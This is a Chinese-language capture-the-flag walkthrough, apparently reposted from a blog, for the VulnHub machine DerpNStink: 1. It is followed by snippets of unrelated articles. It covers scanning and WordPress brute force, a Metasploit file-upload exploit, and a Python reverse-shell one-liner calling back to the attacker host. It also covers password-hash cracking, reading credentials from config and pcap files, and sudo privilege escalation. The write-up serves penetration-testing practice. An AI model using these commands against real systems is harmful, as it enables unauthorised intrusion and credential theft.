DerpNStink: 1渗透测试

靶机:DerpNStink: 1 <https://www.vulnhub.com/entry/derpnstink-1,221/>

攻击机:kail linux 2024

目标:获得4个flag

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

靶机的IP地址192.168.23.134,攻击机IP地址192.168.23.128

3,对靶机进一步扫描

nmap -sS -sV -n -T4 -p- 192.168.23.134 

分别开启了ftp/21,ssh/22,http/80

4,对靶机进行目录扫描爆破

5,存在敏感目录信息泄露

有以下敏感目录

6,访问网页,得到第一个flag

flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)

7,发现第一个flag的时候有一个提示,提示需要添加hosts 文件进行解析 路径为:vim /etc/hosts 添加如下:

接下来对提示的页面操作

8,继续目录爆破操作

dirb http://derpnstink.local/ #进行目录扫描 发现weblog,继续探测

dirb http://derpnstink.local/weblog  #发现wp-admin

9,对页面做一个指纹识别

为WrodPress CMS框架

10,使用WPScan扫描

wpscan --url http://derpnstink.local/weblog -e e参数用于枚举用户名

枚举出来一个用户

10,对该页面进行弱口令爆破,得到密码admin

DeRPnStiNK Professional Services ‹ Log In

成功登录该页面。

11,这里扫描发现此页面为4.6.29版本

wpscan --url http://derpnstink.local/weblog/

而slideshow-gallery是wordpress的plugin

12,打开MSF 搜索 search Slideshow Gallery 看是否有可利用的模块,尝试利用

13,这里看出是任意文件上传漏洞,设置攻击参数

set rhosts 192.168.23.134 #设置目标IP地址

set wp_user admin  #设置账号

set wp_password admin  #设置密码

set targeturi /weblog  #设置路径

exploit #运行

14,成功获得shell

 

第一种方法得到flag2:直接进入页面查找

15,查看数据库配置文件,路径/var/www/html/weblog/wp-config.php

得到一对账户/密码:root/mysql

16,得到的账户密码用来登录http://derpnstink.local/php/phpmyadmin

17,在wp-posts表中查看到Flag2

flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

18,获得shell,查看到www-data权限

python -c 'import pty; pty.spawn("/bin/bash")'  #pyton获取终端

19,反弹shell利用脚本

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

20,在16步的同时攻击机开启端口监听

发现当16步执行后获得了靶机的shell

21,获取可以交互的shell

python -c 'import pty; pty.spawn("/bin/bash")'

22,得到数据库配置文件的绝对路径:/var/www/html/weblog/wp-config.php

23,查看数据库配置文件,并筛选出来name/password

cat /var/www/html/weblog/wp-config.php

得到一对账户/密码:root/mysql

24,使用得到的账户密码登录数据库

mysql -u root -p mysql

查看数据库名:show databases;

使用wordpress库,并查看表名

use wordpress

show tables;

列出用户信息

select * from wp_users;

25,进行John爆破unclestinky账户被加密的密码

echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' > 1.txt

使用爆破字典之前先解压

john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到了账户/密码:unclestinky/wedgie57

26,在home页面下发现两个用户

 

第一种方法得到flag3:密码切换用户

27,尝试切换用户,发现stinky的密码正好是wedgie57

28,得到flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

第二种方法得到flag3FTP服务+SSH私钥

29,根据第3步端口扫描知道开启了ftp服务,可以尝试攻击机上ftp登录

密码/账户是:stinky/wedgie57

30,查看ftp服务器里面的私钥文件,路径:/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh

31,下载私钥文件到攻击机

32,ssh登录,给执行权限

ssh -i key.txt stinky@192.168.23.134

chmod 600

成功登录拿到flag

33,在第30步查看ftp的/files/network-logs目录下面发现一个文件

对话提示说修改密码的时候,进行了抓包

34,在stinkey用户的/~/Documents目录下发现流量包

35,scp 命令且使用下载的私钥文件将stinky的流量包文件拷入攻击机

scp -i key.txt stinky@192.168.23.134:/~/Documents/derpissues.pcap /root/1.pcap

36,查看流量包,过滤栏中过滤http协议,过滤字符串pwd

如此得到了账户/密码:mrderp/derpderpderpderpderpderpderp

37,尝试账户/密码进行ssh登录,登录成功

38,在该用户桌面目录下查看到一个文件,查看之

提示访问https://pastebin.com/RzK9WfGw

39,提示

这是考查的一个linux sudo命令知识点:

允许mrderp用户在主机上以root用户权限读写执行/home/mrderp/binaries/目录下derpy开头的文件

sudo -l #-l 显示出自己(执行sudo的使用者)的权限

40,根据提示操作

首先创建binaries/目录 mkdir binaries/

编辑一个derpy开头的可执行文件 echo '/bin/bash' >> derpy.sh

赋权 chmod 777 derpy.sh

41.执行该derpy.sh文件后获得root权限

42,得到第四个flag,flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/901716.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

#HarmonyOS:页面和自定义组件生命周期

页面生命周期 即被Entry装饰的组件生命周期 onPageShow&#xff1a;页面每次显示时触发一次&#xff0c;包括路由过程、应用进入前台等场景。onPageHide: 页面每次隐藏时触发一次&#xff0c;包括路由过程、应用进入后台等场景。onBackPress: 当用户点击返回按钮是触发 组件…

自定义类型:联合和枚举【上】

自定义类型&#xff1a;数组&#xff0c;结构体&#xff0c;联合体&#xff0c;枚举。前面一些我们已经讲过了&#xff0c;接下来我们讲联合体和枚举。 一.联合体 1.联合体类型的声明 像结构体一样&#xff0c;联合体也是由一个或者多个成员构成&#xff0c;这些成员可以不同…

网络搜索引擎Shodan(2)

声明&#xff1a;学习视频来自b站up主 泷羽sec&#xff0c;如涉及侵权马上删除文章 声明&#xff1a;本文主要用作技术分享&#xff0c;所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险&#xff0c;并遵循相关法律法规。 感谢泷…

(南京观海微电子)——GH7006-01_HKC_B3-PV043WVQ-N80_MIPI_LVDS_RGB原理及代码介绍

1. 原理 2. 代码 /**************************************************/ // Model - GV050WVQ-N82 // IC - GH7006 // Width - 800 // Height - 480 // REV: - V01 // DATA - 20240621 // INTERFACE- LV…

4.1.2 网页设计技术

文章目录 1. 万维网&#xff08;WWW&#xff09;的诞生2. 移动互联网的崛起3. 网页三剑客&#xff1a;HTML、CSS和JavaScriptHTML&#xff1a;网页的骨架CSS&#xff1a;网页的外衣JavaScript&#xff1a;网页的活力 4. 前端框架的演变基于CSS的框架基于JavaScript的框架基于MV…

质量漫谈一

我知道很多同学看到这类问题&#xff0c;第一反应想要去寻找的就是作为测试角色&#xff0c;应该要如何如何去做&#xff1f;但是今天这里作为质量第一篇&#xff0c;不打算按照这样单角度去写&#xff0c;这类同学可以就此打住&#xff0c;如果在意的话&#xff0c;可关注后续…

excel斜线表头

检验数据验证对象 鼠标放在检验数据 验证对象中间&#xff0c;altenter 之后空格 选中格子&#xff0c;右键单元格格式&#xff0c; 完成 如果是需要多分割&#xff0c;操作一样&#xff0c;在画斜线的时候会有区别&#xff0c;在插入里面用直线画斜线即可 在表格插入的时…

采用Excel作为可视化设计器的开源规则引擎 NopRule

决策树和决策矩阵是业务人员可以直观理解的复杂IF-ELSE逻辑表达形式&#xff0c;也是规则引擎中最常用、最有用的部分。常见的规则引擎如Drools虽然提供了更加丰富的功能特性集&#xff0c; 特别是所谓的RETE算法可以用于高效复用多次重复出现的表达式片段&#xff0c;但在实际…

xxl-job java.sql.SQLException: interrupt问题排查

近期生产环境固定凌晨报错&#xff0c;提示 ConnectionManager [Thread-23069] getWriteConnection db:***,pattern: error, jdbcUrl: jdbc:mysql://***:3306/***?connectTimeout3000&socketTimeout180000&autoReconnecttrue&zeroDateTimeBehaviorCONVERT_TO_NUL…

Windows自带录屏好用吗?四大录屏工具轻松实现高效录屏!

Windows系统自带的录屏工具其实就是Xbox Game Bar。今天&#xff0c;除了这个工具&#xff0c;我还会为大家推荐几款实用录屏工具&#xff0c;让大家轻松实现高效录屏&#xff01; 福昕录屏软件 直达链接&#xff1a;www.foxitsoftware.cn/REC/ 操作教程&#xff1a;立即获取…

本地缓存库分析(一):golang-lru

文章目录 本地缓存概览golang-lru标准lrulru的操作PutGet 2q&#xff1a;冷热分离lruPutGet expirable_lru&#xff1a;支持过期时间的lruPutGet过期 总结 本地缓存概览 在业务中&#xff0c;一般会将极高频访问的数据缓存到本地。以减少网络IO的开销&#xff0c;下游服务的压…

css 切角实现(全)

效果 样式代码 <template><div class"container"><div class"clip-all-angle"> 4个角全部剪切 </div><div class"clip-two-angle"> 切底部两个角 </div><div class"clip-two-top-angle"> …

1.2.2 算法的时间复杂度

那么我们如何评估算法的时间开销&#xff1f; 存在什么问题? 和机器性能有关&#xff0c;如:超级计算机 v.s. 单片机 和编程语言有关&#xff0c;越高级的语言执行效率越低 和编译程序产生的机器指令质量有关 有些算法是不能事后再统计的&#xff0c;如:导弹控制算法 能否事…

Spring Boot框架下的酒店住宿登记系统

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

PIL处理器在环测试

目录 PIL处理器在环测试介绍 PIL测试过程 编译模块 测试结果 PIL处理器在环测试介绍 SIL测试是验证代码和模型的一致性&#xff0c;代码运行在Windows平台上&#xff0c;某种程度上说&#xff0c;这并不能保证代码到目标处理器上的运行结果也能够和模型保持一致。所以&…

ctfshow的sql注入解题思路171-211

ctfshow-SQL注入 web171&#xff1a;爆库名->爆表名->爆字段名->爆字段值 -1 union select 1,database() ,3 -- //返回数据库名 -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema库名 -- //获取数据库里的表名 -…

【华为\荣耀、中兴、华三路由器IPV6设置】

华为\荣耀、中兴、华三路由器ipv6设置 华为\荣耀设置-路由器拨号情况下中兴设置-路由器拨号情况下华三设置-光猫拨号情况下&#xff08;待续&#xff09; 华为\荣耀设置-路由器拨号情况下 如图设置就行 中兴设置-路由器拨号情况下 中兴路由器有两个设置地方也是如图设置 …

一站式AI自动化剪辑 内置多种功能 永久免费

AI影视解说自动化剪辑工具&#xff0c;功能非常强大&#xff0c;吊打所有视频解说&#xff0c;解放双手&#xff0c;从我开始 【资源名称】&#xff1a;纳拉托艾 【资源大小】&#xff1a;1.27 【资源版本】&#xff1a;0.1 【测试机型】&#xff1a;Win11. 【资源介绍】&a…

基于SSM+小程序的智慧旅游平台登录管理系统(旅游2)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1、项目介绍 旅游平台开发微信小程序功能有管理员和用户。 1、管理员功能有个人中心&#xff0c;用户管理&#xff0c;景点分类管理&#xff0c;旅游景点管理&#xff0c;景点购票管理&#xff0c;景…

Leetcode刷题笔记13

DP35 【模板】二维前缀和 【模板】二维前缀和_牛客题霸_牛客网 解法一&#xff1a;暴力解法 -> 模拟 直接算区间里面的和 每次询问都要遍历数组一遍 时间复杂度&#xff1a;O(n*m*q) 解法二&#xff1a;前缀和 1. 预处理出来一个前缀和矩阵 dp[i][j]表示&#xff1a;从[…